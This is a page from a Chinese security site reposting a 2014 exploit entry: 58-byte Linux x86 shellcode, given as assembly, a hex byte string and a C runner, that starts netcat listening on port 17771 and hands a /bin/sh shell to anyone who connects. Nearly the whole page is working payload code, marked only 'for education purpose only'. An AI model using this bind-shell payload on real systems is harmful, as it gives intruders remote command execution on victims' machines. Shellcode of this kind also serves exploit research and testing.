首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 Netcat Shellcode 58 bytes
来源:vfocus.net 作者:Boytsev 发布时间:2014-06-09  
/*
# Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode
# This shellcode will listen on port 17771 and give you /bin/sh
# Date: 31.05.2014
# Shellcode Author: Oleg Boytsev
# Tested on: Debian GNU/Linux 7/i686
# Shellcode Length: 58
# For education purpose only
  
global _start
section .text
 _start:
  xor eax, eax
  xor edx, edx
  push eax
  push 0x31373737    ;-vp17771
  push 0x3170762d
  mov esi, esp
  
  push eax
  push 0x68732f2f    ;-le//bin//sh
  push 0x6e69622f
  push 0x2f656c2d
  mov edi, esp
  
  push eax
  push 0x636e2f2f    ;/bin//nc
  push 0x6e69622f
  mov ebx, esp
  
  push edx
  push esi
  push edi
  push ebx
  mov ecx, esp
  mov al,11
  int 0x80
*/
  
#include<stdio.h>
#include<string.h>
  
unsigned char shellcode[] =
“\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
  
main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sagem 2604 Password Disclosure
·Google Compute Engine Lateral
·Madness Pro <= 1.14 - Persiste
·dbus-glib pam_fprintd - Local
·Madness Pro <= 1.14 - SQL Inje
·Easy File Management Web Serve
·Openfiler NAS/SAN Appliance 2.
·Ubuntu 12.04.0-2LTS x64 perf_s
·IBM AIX 6.1.8+ Privilege Escal
·ElasticSearch Dynamic Script A
·Core FTP LE 2.2 - Heap Overflo
·Microsoft Internet Explorer 11
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved